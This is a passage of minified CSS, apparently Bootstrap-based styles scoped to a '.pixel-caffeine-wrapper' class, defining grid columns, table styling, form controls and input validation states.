.col-md-offset-4 { margin-left: 33.3333333333%; } .pixel-caffeine-wrapper .col-md-offset-5 { margin-left: 41.6666666667%; } .pixel-caffeine-wrapper .col-md-offset-6 { margin-left: 50%; } .pixel-caffeine-wrapper .col-md-offset-7 { margin-left: 58.3333333333%; } .pixel-caffeine-wrapper .col-md-offset-8 { margin-left: 66.6666666667%; } .pixel-caffeine-wrapper .col-md-offset-9 { margin-left: 75%; } .pixel-caffeine-wrapper .col-md-offset-10 { margin-left: 83.3333333333%; } .pixel-caffeine-wrapper .col-md-offset-11 { margin-left: 91.6666666667%; } .pixel-caffeine-wrapper .col-md-offset-12 { margin-left: 100%; } } @media (min-width: 1200px) { .pixel-caffeine-wrapper .col-lg-1, .pixel-caffeine-wrapper .col-lg-2, .pixel-caffeine-wrapper .col-lg-3, .pixel-caffeine-wrapper .col-lg-4, .pixel-caffeine-wrapper .col-lg-5, .pixel-caffeine-wrapper .col-lg-6, .pixel-caffeine-wrapper .col-lg-7, .pixel-caffeine-wrapper .col-lg-8, .pixel-caffeine-wrapper .col-lg-9, .pixel-caffeine-wrapper .col-lg-10, .pixel-caffeine-wrapper .col-lg-11, .pixel-caffeine-wrapper .col-lg-12 { float: left; } .pixel-caffeine-wrapper .col-lg-1 { width: 8.3333333333%; } .pixel-caffeine-wrapper .col-lg-2 { width: 16.6666666667%; } .pixel-caffeine-wrapper .col-lg-3 { width: 25%; } .pixel-caffeine-wrapper .col-lg-4 { width: 33.3333333333%; } .pixel-caffeine-wrapper .col-lg-5 { width: 41.6666666667%; } .pixel-caffeine-wrapper .col-lg-6 { width: 50%; } .pixel-caffeine-wrapper .col-lg-7 { width: 58.3333333333%; } .pixel-caffeine-wrapper .col-lg-8 { width: 66.6666666667%; } .pixel-caffeine-wrapper .col-lg-9 { width: 75%; } .pixel-caffeine-wrapper .col-lg-10 { width: 83.3333333333%; } .pixel-caffeine-wrapper .col-lg-11 { width: 91.6666666667%; } .pixel-caffeine-wrapper .col-lg-12 { width: 100%; } .pixel-caffeine-wrapper .col-lg-pull-0 { right: auto; } .pixel-caffeine-wrapper .col-lg-pull-1 { right: 8.3333333333%; } .pixel-caffeine-wrapper .col-lg-pull-2 { right: 16.6666666667%; } .pixel-caffeine-wrapper .col-lg-pull-3 { right: 25%; } .pixel-caffeine-wrapper .col-lg-pull-4 { right: 33.3333333333%; } .pixel-caffeine-wrapper .col-lg-pull-5 { right: 41.6666666667%; } .pixel-caffeine-wrapper .col-lg-pull-6 { right: 50%; } .pixel-caffeine-wrapper .col-lg-pull-7 { right: 58.3333333333%; } .pixel-caffeine-wrapper .col-lg-pull-8 { right: 66.6666666667%; } .pixel-caffeine-wrapper .col-lg-pull-9 { right: 75%; } .pixel-caffeine-wrapper .col-lg-pull-10 { right: 83.3333333333%; } .pixel-caffeine-wrapper .col-lg-pull-11 { right: 91.6666666667%; } .pixel-caffeine-wrapper .col-lg-pull-12 { right: 100%; } .pixel-caffeine-wrapper .col-lg-push-0 { left: auto; } .pixel-caffeine-wrapper .col-lg-push-1 { left: 8.3333333333%; } .pixel-caffeine-wrapper .col-lg-push-2 { left: 16.6666666667%; } .pixel-caffeine-wrapper .col-lg-push-3 { left: 25%; } .pixel-caffeine-wrapper .col-lg-push-4 { left: 33.3333333333%; } .pixel-caffeine-wrapper .col-lg-push-5 { left: 41.6666666667%; } .pixel-caffeine-wrapper .col-lg-push-6 { left: 50%; } .pixel-caffeine-wrapper .col-lg-push-7 { left: 58.3333333333%; } .pixel-caffeine-wrapper .col-lg-push-8 { left: 66.6666666667%; } .pixel-caffeine-wrapper .col-lg-push-9 { left: 75%; } .pixel-caffeine-wrapper .col-lg-push-10 { left: 83.3333333333%; } .pixel-caffeine-wrapper .col-lg-push-11 { left: 91.6666666667%; } .pixel-caffeine-wrapper .col-lg-push-12 { left: 100%; } .pixel-caffeine-wrapper .col-lg-offset-0 { margin-left: 0%; } .pixel-caffeine-wrapper .col-lg-offset-1 { margin-left: 8.3333333333%; } .pixel-caffeine-wrapper .col-lg-offset-2 { margin-left: 16.6666666667%; } .pixel-caffeine-wrapper .col-lg-offset-3 { margin-left: 25%; } .pixel-caffeine-wrapper .col-lg-offset-4 { margin-left: 33.3333333333%; } .pixel-caffeine-wrapper .col-lg-offset-5 { margin-left: 41.6666666667%; } .pixel-caffeine-wrapper .col-lg-offset-6 { margin-left: 50%; } .pixel-caffeine-wrapper .col-lg-offset-7 { margin-left: 58.3333333333%; } .pixel-caffeine-wrapper .col-lg-offset-8 { margin-left: 66.6666666667%; } .pixel-caffeine-wrapper .col-lg-offset-9 { margin-left: 75%; } .pixel-caffeine-wrapper .col-lg-offset-10 { margin-left: 83.3333333333%; } .pixel-caffeine-wrapper .col-lg-offset-11 { margin-left: 91.6666666667%; } .pixel-caffeine-wrapper .col-lg-offset-12 { margin-left: 100%; } } .pixel-caffeine-wrapper table { background-color: transparent; } .pixel-caffeine-wrapper table col[class*=col-] { position: static; display: table-column; float: none; } .pixel-caffeine-wrapper table td[class*=col-], .pixel-caffeine-wrapper table th[class*=col-] { position: static; display: table-cell; float: none; } .pixel-caffeine-wrapper caption { padding-top: 8px; padding-bottom: 8px; color: #777777; text-align: left; } .pixel-caffeine-wrapper th { text-align: left; } .pixel-caffeine-wrapper .table { width: 100%; max-width: 100%; margin-bottom: 20px; } .pixel-caffeine-wrapper .table > thead > tr > th, .pixel-caffeine-wrapper .table > thead > tr > td, .pixel-caffeine-wrapper .table > tbody > tr > th, .pixel-caffeine-wrapper .table > tbody > tr > td, .pixel-caffeine-wrapper .table > tfoot > tr > th, .pixel-caffeine-wrapper .table > tfoot > tr > td { padding: 8px; line-height: 1.428571429; vertical-align: top; border-top: 1px solid #ddd; } .pixel-caffeine-wrapper .table > thead > tr > th { vertical-align: bottom; border-bottom: 2px solid #ddd; } .pixel-caffeine-wrapper .table > caption + thead > tr:first-child > th, .pixel-caffeine-wrapper .table > caption + thead > tr:first-child > td, .pixel-caffeine-wrapper .table > colgroup + thead > tr:first-child > th, .pixel-caffeine-wrapper .table > colgroup + thead > tr:first-child > td, .pixel-caffeine-wrapper .table > thead:first-child > tr:first-child > th, .pixel-caffeine-wrapper .table > thead:first-child > tr:first-child > td { border-top: 0; } .pixel-caffeine-wrapper .table > tbody + tbody { border-top: 2px solid #ddd; } .pixel-caffeine-wrapper .table .table { background-color: transparent; } .pixel-caffeine-wrapper .table-condensed > thead > tr > th, .pixel-caffeine-wrapper .table-condensed > thead > tr > td, .pixel-caffeine-wrapper .table-condensed > tbody > tr > th, .pixel-caffeine-wrapper .table-condensed > tbody > tr > td, .pixel-caffeine-wrapper .table-condensed > tfoot > tr > th, .pixel-caffeine-wrapper .table-condensed > tfoot > tr > td { padding: 5px; } .pixel-caffeine-wrapper .table-bordered { border: 1px solid #ddd; } .pixel-caffeine-wrapper .table-bordered > thead > tr > th, .pixel-caffeine-wrapper .table-bordered > thead > tr > td, .pixel-caffeine-wrapper .table-bordered > tbody > tr > th, .pixel-caffeine-wrapper .table-bordered > tbody > tr > td, .pixel-caffeine-wrapper .table-bordered > tfoot > tr > th, .pixel-caffeine-wrapper .table-bordered > tfoot > tr > td { border: 1px solid #ddd; } .pixel-caffeine-wrapper .table-bordered > thead > tr > th, .pixel-caffeine-wrapper .table-bordered > thead > tr > td { border-bottom-width: 2px; } .pixel-caffeine-wrapper .table-striped > tbody > tr:nth-of-type(odd) { background-color: #f9f9f9; } .pixel-caffeine-wrapper .table-hover > tbody > tr:hover { background-color: #f5f5f5; } .pixel-caffeine-wrapper .table > thead > tr > td.active, .pixel-caffeine-wrapper .table > thead > tr > th.active, .pixel-caffeine-wrapper .table > thead > tr.active > td, .pixel-caffeine-wrapper .table > thead > tr.active > th, .pixel-caffeine-wrapper .table > tbody > tr > td.active, .pixel-caffeine-wrapper .table > tbody > tr > th.active, .pixel-caffeine-wrapper .table > tbody > tr.active > td, .pixel-caffeine-wrapper .table > tbody > tr.active > th, .pixel-caffeine-wrapper .table > tfoot > tr > td.active, .pixel-caffeine-wrapper .table > tfoot > tr > th.active, .pixel-caffeine-wrapper .table > tfoot > tr.active > td, .pixel-caffeine-wrapper .table > tfoot > tr.active > th { background-color: #f5f5f5; } .pixel-caffeine-wrapper .table-hover > tbody > tr > td.active:hover, .pixel-caffeine-wrapper .table-hover > tbody > tr > th.active:hover, .pixel-caffeine-wrapper .table-hover > tbody > tr.active:hover > td, .pixel-caffeine-wrapper .table-hover > tbody > tr:hover > .active, .pixel-caffeine-wrapper .table-hover > tbody > tr.active:hover > th { background-color: #e8e8e8; } .pixel-caffeine-wrapper .table > thead > tr > td.success, .pixel-caffeine-wrapper .table > thead > tr > th.success, .pixel-caffeine-wrapper .table > thead > tr.success > td, .pixel-caffeine-wrapper .table > thead > tr.success > th, .pixel-caffeine-wrapper .table > tbody > tr > td.success, .pixel-caffeine-wrapper .table > tbody > tr > th.success, .pixel-caffeine-wrapper .table > tbody > tr.success > td, .pixel-caffeine-wrapper .table > tbody > tr.success > th, .pixel-caffeine-wrapper .table > tfoot > tr > td.success, .pixel-caffeine-wrapper .table > tfoot > tr > th.success, .pixel-caffeine-wrapper .table > tfoot > tr.success > td, .pixel-caffeine-wrapper .table > tfoot > tr.success > th { background-color: #dff0d8; } .pixel-caffeine-wrapper .table-hover > tbody > tr > td.success:hover, .pixel-caffeine-wrapper .table-hover > tbody > tr > th.success:hover, .pixel-caffeine-wrapper .table-hover > tbody > tr.success:hover > td, .pixel-caffeine-wrapper .table-hover > tbody > tr:hover > .success, .pixel-caffeine-wrapper .table-hover > tbody > tr.success:hover > th { background-color: #d0e9c6; } .pixel-caffeine-wrapper .table > thead > tr > td.info, .pixel-caffeine-wrapper .table > thead > tr > th.info, .pixel-caffeine-wrapper .table > thead > tr.info > td, .pixel-caffeine-wrapper .table > thead > tr.info > th, .pixel-caffeine-wrapper .table > tbody > tr > td.info, .pixel-caffeine-wrapper .table > tbody > tr > th.info, .pixel-caffeine-wrapper .table > tbody > tr.info > td, .pixel-caffeine-wrapper .table > tbody > tr.info > th, .pixel-caffeine-wrapper .table > tfoot > tr > td.info, .pixel-caffeine-wrapper .table > tfoot > tr > th.info, .pixel-caffeine-wrapper .table > tfoot > tr.info > td, .pixel-caffeine-wrapper .table > tfoot > tr.info > th { background-color: #d9edf7; } .pixel-caffeine-wrapper .table-hover > tbody > tr > td.info:hover, .pixel-caffeine-wrapper .table-hover > tbody > tr > th.info:hover, .pixel-caffeine-wrapper .table-hover > tbody > tr.info:hover > td, .pixel-caffeine-wrapper .table-hover > tbody > tr:hover > .info, .pixel-caffeine-wrapper .table-hover > tbody > tr.info:hover > th { background-color: #c4e3f3; } .pixel-caffeine-wrapper .table > thead > tr > td.warning, .pixel-caffeine-wrapper .table > thead > tr > th.warning, .pixel-caffeine-wrapper .table > thead > tr.warning > td, .pixel-caffeine-wrapper .table > thead > tr.warning > th, .pixel-caffeine-wrapper .table > tbody > tr > td.warning, .pixel-caffeine-wrapper .table > tbody > tr > th.warning, .pixel-caffeine-wrapper .table > tbody > tr.warning > td, .pixel-caffeine-wrapper .table > tbody > tr.warning > th, .pixel-caffeine-wrapper .table > tfoot > tr > td.warning, .pixel-caffeine-wrapper .table > tfoot > tr > th.warning, .pixel-caffeine-wrapper .table > tfoot > tr.warning > td, .pixel-caffeine-wrapper .table > tfoot > tr.warning > th { background-color: #fcf8e3; } .pixel-caffeine-wrapper .table-hover > tbody > tr > td.warning:hover, .pixel-caffeine-wrapper .table-hover > tbody > tr > th.warning:hover, .pixel-caffeine-wrapper .table-hover > tbody > tr.warning:hover > td, .pixel-caffeine-wrapper .table-hover > tbody > tr:hover > .warning, .pixel-caffeine-wrapper .table-hover > tbody > tr.warning:hover > th { background-color: #faf2cc; } .pixel-caffeine-wrapper .table > thead > tr > td.danger, .pixel-caffeine-wrapper .table > thead > tr > th.danger, .pixel-caffeine-wrapper .table > thead > tr.danger > td, .pixel-caffeine-wrapper .table > thead > tr.danger > th, .pixel-caffeine-wrapper .table > tbody > tr > td.danger, .pixel-caffeine-wrapper .table > tbody > tr > th.danger, .pixel-caffeine-wrapper .table > tbody > tr.danger > td, .pixel-caffeine-wrapper .table > tbody > tr.danger > th, .pixel-caffeine-wrapper .table > tfoot > tr > td.danger, .pixel-caffeine-wrapper .table > tfoot > tr > th.danger, .pixel-caffeine-wrapper .table > tfoot > tr.danger > td, .pixel-caffeine-wrapper .table > tfoot > tr.danger > th { background-color: #f2dede; } .pixel-caffeine-wrapper .table-hover > tbody > tr > td.danger:hover, .pixel-caffeine-wrapper .table-hover > tbody > tr > th.danger:hover, .pixel-caffeine-wrapper .table-hover > tbody > tr.danger:hover > td, .pixel-caffeine-wrapper .table-hover > tbody > tr:hover > .danger, .pixel-caffeine-wrapper .table-hover > tbody > tr.danger:hover > th { background-color: #ebcccc; } .pixel-caffeine-wrapper .table-responsive { min-height: 0.01%; overflow-x: auto; } @media screen and (max-width: 767px) { .pixel-caffeine-wrapper .table-responsive { width: 100%; margin-bottom: 15px; overflow-y: hidden; -ms-overflow-style: -ms-autohiding-scrollbar; border: 1px solid #ddd; } .pixel-caffeine-wrapper .table-responsive > .table { margin-bottom: 0; } .pixel-caffeine-wrapper .table-responsive > .table > thead > tr > th, .pixel-caffeine-wrapper .table-responsive > .table > thead > tr > td, .pixel-caffeine-wrapper .table-responsive > .table > tbody > tr > th, .pixel-caffeine-wrapper .table-responsive > .table > tbody > tr > td, .pixel-caffeine-wrapper .table-responsive > .table > tfoot > tr > th, .pixel-caffeine-wrapper .table-responsive > .table > tfoot > tr > td { white-space: nowrap; } .pixel-caffeine-wrapper .table-responsive > .table-bordered { border: 0; } .pixel-caffeine-wrapper .table-responsive > .table-bordered > thead > tr > th:first-child, .pixel-caffeine-wrapper .table-responsive > .table-bordered > thead > tr > td:first-child, .pixel-caffeine-wrapper .table-responsive > .table-bordered > tbody > tr > th:first-child, .pixel-caffeine-wrapper .table-responsive > .table-bordered > tbody > tr > td:first-child, .pixel-caffeine-wrapper .table-responsive > .table-bordered > tfoot > tr > th:first-child, .pixel-caffeine-wrapper .table-responsive > .table-bordered > tfoot > tr > td:first-child { border-left: 0; } .pixel-caffeine-wrapper .table-responsive > .table-bordered > thead > tr > th:last-child, .pixel-caffeine-wrapper .table-responsive > .table-bordered > thead > tr > td:last-child, .pixel-caffeine-wrapper .table-responsive > .table-bordered > tbody > tr > th:last-child, .pixel-caffeine-wrapper .table-responsive > .table-bordered > tbody > tr > td:last-child, .pixel-caffeine-wrapper .table-responsive > .table-bordered > tfoot > tr > th:last-child, .pixel-caffeine-wrapper .table-responsive > .table-bordered > tfoot > tr > td:last-child { border-right: 0; } .pixel-caffeine-wrapper .table-responsive > .table-bordered > tbody > tr:last-child > th, .pixel-caffeine-wrapper .table-responsive > .table-bordered > tbody > tr:last-child > td, .pixel-caffeine-wrapper .table-responsive > .table-bordered > tfoot > tr:last-child > th, .pixel-caffeine-wrapper .table-responsive > .table-bordered > tfoot > tr:last-child > td { border-bottom: 0; } } .pixel-caffeine-wrapper fieldset { min-width: 0; padding: 0; margin: 0; border: 0; } .pixel-caffeine-wrapper legend { display: block; width: 100%; padding: 0; margin-bottom: 20px; font-size: 21px; line-height: inherit; color: #333333; border: 0; border-bottom: 1px solid #e5e5e5; } .pixel-caffeine-wrapper label { display: inline-block; max-width: 100%; margin-bottom: 5px; font-weight: 700; } .pixel-caffeine-wrapper input[type=search] { -webkit-box-sizing: border-box; box-sizing: border-box; -webkit-appearance: none; -moz-appearance: none; appearance: none; } .pixel-caffeine-wrapper input[type=radio], .pixel-caffeine-wrapper input[type=checkbox] { margin: 4px 0 0; margin-top: 1px \9 ; line-height: normal; } .pixel-caffeine-wrapper input[type=radio][disabled], .pixel-caffeine-wrapper input[type=radio].disabled, fieldset[disabled] .pixel-caffeine-wrapper input[type=radio], .pixel-caffeine-wrapper input[type=checkbox][disabled], .pixel-caffeine-wrapper input[type=checkbox].disabled, fieldset[disabled] .pixel-caffeine-wrapper input[type=checkbox] { cursor: not-allowed; } .pixel-caffeine-wrapper input[type=file] { display: block; } .pixel-caffeine-wrapper input[type=range] { display: block; width: 100%; } .pixel-caffeine-wrapper select[multiple], .pixel-caffeine-wrapper select[size] { height: auto; } .pixel-caffeine-wrapper input[type=file]:focus, .pixel-caffeine-wrapper input[type=radio]:focus, .pixel-caffeine-wrapper input[type=checkbox]:focus { outline: 5px auto -webkit-focus-ring-color; outline-offset: -2px; } .pixel-caffeine-wrapper output { display: block; padding-top: 7px; font-size: 14px; line-height: 1.428571429; color: #555555; } .pixel-caffeine-wrapper .form-control { display: block; width: 100%; height: 34px; padding: 6px 12px; font-size: 14px; line-height: 1.428571429; color: #555555; background-color: #fff; background-image: none; border: 1px solid #ccc; border-radius: 4px; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); -webkit-transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s; -o-transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s; -webkit-transition: border-color ease-in-out 0.15s, -webkit-box-shadow ease-in-out 0.15s; transition: border-color ease-in-out 0.15s, -webkit-box-shadow ease-in-out 0.15s; transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s; transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s, -webkit-box-shadow ease-in-out 0.15s; } .pixel-caffeine-wrapper .form-control:focus { border-color: #66afe9; outline: 0; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(102, 175, 233, 0.6); box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(102, 175, 233, 0.6); } .pixel-caffeine-wrapper .form-control::-moz-placeholder { color: #999; opacity: 1; } .pixel-caffeine-wrapper .form-control:-ms-input-placeholder { color: #999; } .pixel-caffeine-wrapper .form-control::-webkit-input-placeholder { color: #999; } .pixel-caffeine-wrapper .form-control::-ms-expand { background-color: transparent; border: 0; } .pixel-caffeine-wrapper .form-control[disabled], .pixel-caffeine-wrapper .form-control[readonly], fieldset[disabled] .pixel-caffeine-wrapper .form-control { background-color: #eeeeee; opacity: 1; } .pixel-caffeine-wrapper .form-control[disabled], fieldset[disabled] .pixel-caffeine-wrapper .form-control { cursor: not-allowed; } .pixel-caffeine-wrapper textarea.form-control { height: auto; } @media screen and (-webkit-min-device-pixel-ratio: 0) { .pixel-caffeine-wrapper input[type=date].form-control, .pixel-caffeine-wrapper input[type=time].form-control, .pixel-caffeine-wrapper input[type=datetime-local].form-control, .pixel-caffeine-wrapper input[type=month].form-control { line-height: 34px; } .pixel-caffeine-wrapper input[type=date].input-sm, .pixel-caffeine-wrapper .input-group-sm > input[type=date].form-control, .pixel-caffeine-wrapper .input-group-sm > input[type=date].input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > input[type=date].btn, .input-group-sm .pixel-caffeine-wrapper input[type=date], .pixel-caffeine-wrapper input[type=time].input-sm, .pixel-caffeine-wrapper .input-group-sm > input[type=time].form-control, .pixel-caffeine-wrapper .input-group-sm > input[type=time].input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > input[type=time].btn, .input-group-sm .pixel-caffeine-wrapper input[type=time], .pixel-caffeine-wrapper input[type=datetime-local].input-sm, .pixel-caffeine-wrapper .input-group-sm > input[type=datetime-local].form-control, .pixel-caffeine-wrapper .input-group-sm > input[type=datetime-local].input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > input[type=datetime-local].btn, .input-group-sm .pixel-caffeine-wrapper input[type=datetime-local], .pixel-caffeine-wrapper input[type=month].input-sm, .pixel-caffeine-wrapper .input-group-sm > input[type=month].form-control, .pixel-caffeine-wrapper .input-group-sm > input[type=month].input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > input[type=month].btn, .input-group-sm .pixel-caffeine-wrapper input[type=month] { line-height: 30px; } .pixel-caffeine-wrapper input[type=date].input-lg, .pixel-caffeine-wrapper .input-group-lg > input[type=date].form-control, .pixel-caffeine-wrapper .input-group-lg > input[type=date].input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > input[type=date].btn, .input-group-lg .pixel-caffeine-wrapper input[type=date], .pixel-caffeine-wrapper input[type=time].input-lg, .pixel-caffeine-wrapper .input-group-lg > input[type=time].form-control, .pixel-caffeine-wrapper .input-group-lg > input[type=time].input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > input[type=time].btn, .input-group-lg .pixel-caffeine-wrapper input[type=time], .pixel-caffeine-wrapper input[type=datetime-local].input-lg, .pixel-caffeine-wrapper .input-group-lg > input[type=datetime-local].form-control, .pixel-caffeine-wrapper .input-group-lg > input[type=datetime-local].input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > input[type=datetime-local].btn, .input-group-lg .pixel-caffeine-wrapper input[type=datetime-local], .pixel-caffeine-wrapper input[type=month].input-lg, .pixel-caffeine-wrapper .input-group-lg > input[type=month].form-control, .pixel-caffeine-wrapper .input-group-lg > input[type=month].input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > input[type=month].btn, .input-group-lg .pixel-caffeine-wrapper input[type=month] { line-height: 46px; } } .pixel-caffeine-wrapper .form-group { margin-bottom: 15px; } .pixel-caffeine-wrapper .radio, .pixel-caffeine-wrapper .checkbox { position: relative; display: block; margin-top: 10px; margin-bottom: 10px; } .pixel-caffeine-wrapper .radio.disabled label, fieldset[disabled] .pixel-caffeine-wrapper .radio label, .pixel-caffeine-wrapper .checkbox.disabled label, fieldset[disabled] .pixel-caffeine-wrapper .checkbox label { cursor: not-allowed; } .pixel-caffeine-wrapper .radio label, .pixel-caffeine-wrapper .checkbox label { min-height: 20px; padding-left: 20px; margin-bottom: 0; font-weight: 400; cursor: pointer; } .pixel-caffeine-wrapper .radio input[type=radio], .pixel-caffeine-wrapper .radio-inline input[type=radio], .pixel-caffeine-wrapper .checkbox input[type=checkbox], .pixel-caffeine-wrapper .checkbox-inline input[type=checkbox] { position: absolute; margin-top: 4px \9 ; margin-left: -20px; } .pixel-caffeine-wrapper .radio + .radio, .pixel-caffeine-wrapper .checkbox + .checkbox { margin-top: -5px; } .pixel-caffeine-wrapper .radio-inline, .pixel-caffeine-wrapper .checkbox-inline { position: relative; display: inline-block; padding-left: 20px; margin-bottom: 0; font-weight: 400; vertical-align: middle; cursor: pointer; } .pixel-caffeine-wrapper .radio-inline.disabled, fieldset[disabled] .pixel-caffeine-wrapper .radio-inline, .pixel-caffeine-wrapper .checkbox-inline.disabled, fieldset[disabled] .pixel-caffeine-wrapper .checkbox-inline { cursor: not-allowed; } .pixel-caffeine-wrapper .radio-inline + .radio-inline, .pixel-caffeine-wrapper .checkbox-inline + .checkbox-inline { margin-top: 0; margin-left: 10px; } .pixel-caffeine-wrapper .form-control-static { min-height: 34px; padding-top: 7px; padding-bottom: 7px; margin-bottom: 0; } .pixel-caffeine-wrapper .form-control-static.input-lg, .pixel-caffeine-wrapper .input-group-lg > .form-control-static.form-control, .pixel-caffeine-wrapper .input-group-lg > .form-control-static.input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > .form-control-static.btn, .pixel-caffeine-wrapper .form-control-static.input-sm, .pixel-caffeine-wrapper .input-group-sm > .form-control-static.form-control, .pixel-caffeine-wrapper .input-group-sm > .form-control-static.input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > .form-control-static.btn { padding-right: 0; padding-left: 0; } .pixel-caffeine-wrapper .input-sm, .pixel-caffeine-wrapper .input-group-sm > .form-control, .pixel-caffeine-wrapper .input-group-sm > .input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > .btn { height: 30px; padding: 5px 10px; font-size: 12px; line-height: 1.5; border-radius: 3px; } .pixel-caffeine-wrapper select.input-sm, .pixel-caffeine-wrapper .input-group-sm > select.form-control, .pixel-caffeine-wrapper .input-group-sm > select.input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > select.btn { height: 30px; line-height: 30px; } .pixel-caffeine-wrapper textarea.input-sm, .pixel-caffeine-wrapper .input-group-sm > textarea.form-control, .pixel-caffeine-wrapper .input-group-sm > textarea.input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > textarea.btn, .pixel-caffeine-wrapper select[multiple].input-sm, .pixel-caffeine-wrapper .input-group-sm > select[multiple].form-control, .pixel-caffeine-wrapper .input-group-sm > select[multiple].input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > select[multiple].btn { height: auto; } .pixel-caffeine-wrapper .form-group-sm .form-control { height: 30px; padding: 5px 10px; font-size: 12px; line-height: 1.5; border-radius: 3px; } .pixel-caffeine-wrapper .form-group-sm select.form-control { height: 30px; line-height: 30px; } .pixel-caffeine-wrapper .form-group-sm textarea.form-control, .pixel-caffeine-wrapper .form-group-sm select[multiple].form-control { height: auto; } .pixel-caffeine-wrapper .form-group-sm .form-control-static { height: 30px; min-height: 32px; padding: 6px 10px; font-size: 12px; line-height: 1.5; } .pixel-caffeine-wrapper .input-lg, .pixel-caffeine-wrapper .input-group-lg > .form-control, .pixel-caffeine-wrapper .input-group-lg > .input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > .btn { height: 46px; padding: 10px 16px; font-size: 18px; line-height: 1.3333333; border-radius: 6px; } .pixel-caffeine-wrapper select.input-lg, .pixel-caffeine-wrapper .input-group-lg > select.form-control, .pixel-caffeine-wrapper .input-group-lg > select.input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > select.btn { height: 46px; line-height: 46px; } .pixel-caffeine-wrapper textarea.input-lg, .pixel-caffeine-wrapper .input-group-lg > textarea.form-control, .pixel-caffeine-wrapper .input-group-lg > textarea.input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > textarea.btn, .pixel-caffeine-wrapper select[multiple].input-lg, .pixel-caffeine-wrapper .input-group-lg > select[multiple].form-control, .pixel-caffeine-wrapper .input-group-lg > select[multiple].input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > select[multiple].btn { height: auto; } .pixel-caffeine-wrapper .form-group-lg .form-control { height: 46px; padding: 10px 16px; font-size: 18px; line-height: 1.3333333; border-radius: 6px; } .pixel-caffeine-wrapper .form-group-lg select.form-control { height: 46px; line-height: 46px; } .pixel-caffeine-wrapper .form-group-lg textarea.form-control, .pixel-caffeine-wrapper .form-group-lg select[multiple].form-control { height: auto; } .pixel-caffeine-wrapper .form-group-lg .form-control-static { height: 46px; min-height: 38px; padding: 11px 16px; font-size: 18px; line-height: 1.3333333; } .pixel-caffeine-wrapper .has-feedback { position: relative; } .pixel-caffeine-wrapper .has-feedback .form-control { padding-right: 42.5px; } .pixel-caffeine-wrapper .form-control-feedback { position: absolute; top: 0; right: 0; z-index: 2; display: block; width: 34px; height: 34px; line-height: 34px; text-align: center; pointer-events: none; } .pixel-caffeine-wrapper .input-lg + .form-control-feedback, .pixel-caffeine-wrapper .input-group-lg > .form-control + .form-control-feedback, .pixel-caffeine-wrapper .input-group-lg > .input-group-addon + .form-control-feedback, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > .btn + .form-control-feedback, .pixel-caffeine-wrapper .input-group-lg + .form-control-feedback, .pixel-caffeine-wrapper .form-group-lg .form-control + .form-control-feedback { width: 46px; height: 46px; line-height: 46px; } .pixel-caffeine-wrapper .input-sm + .form-control-feedback, .pixel-caffeine-wrapper .input-group-sm > .form-control + .form-control-feedback, .pixel-caffeine-wrapper .input-group-sm > .input-group-addon + .form-control-feedback, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > .btn + .form-control-feedback, .pixel-caffeine-wrapper .input-group-sm + .form-control-feedback, .pixel-caffeine-wrapper .form-group-sm .form-control + .form-control-feedback { width: 30px; height: 30px; line-height: 30px; } .pixel-caffeine-wrapper .has-success .help-block, .pixel-caffeine-wrapper .has-success .control-label, .pixel-caffeine-wrapper .has-success .radio, .pixel-caffeine-wrapper .has-success .checkbox, .pixel-caffeine-wrapper .has-success .radio-inline, .pixel-caffeine-wrapper .has-success .checkbox-inline, .pixel-caffeine-wrapper .has-success.radio label, .pixel-caffeine-wrapper .has-success.checkbox label, .pixel-caffeine-wrapper .has-success.radio-inline label, .pixel-caffeine-wrapper .has-success.checkbox-inline label { color: #3c763d; } .pixel-caffeine-wrapper .has-success .form-control { border-color: #3c763d; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); } .pixel-caffeine-wrapper .has-success .form-control:focus { border-color: #2b542c; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #67b168; box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #67b168; } .pixel-caffeine-wrapper .has-success .input-group-addon { color: #3c763d; background-color: #dff0d8; border-color: #3c763d; } .pixel-caffeine-wrapper .has-success .form-control-feedback { color: #3c763d; } .pixel-caffeine-wrapper .has-warning .help-block, .pixel-caffeine-wrapper .has-warning .control-label, .pixel-caffeine-wrapper .has-warning .radio, .pixel-caffeine-wrapper .has-warning .checkbox, .pixel-caffeine-wrapper .has-warning .radio-inline, .pixel-caffeine-wrapper .has-warning .checkbox-inline, .pixel-caffeine-wrapper .has-warning.radio label, .pixel-caffeine-wrapper .has-warning.checkbox label, .pixel-caffeine-wrapper .has-warning.radio-inline label, .pixel-caffeine-wrapper .has-warning.checkbox-inline label { color: #8a6d3b; } .pixel-caffeine-wrapper .has-warning .form-control { border-color: #8a6d3b; 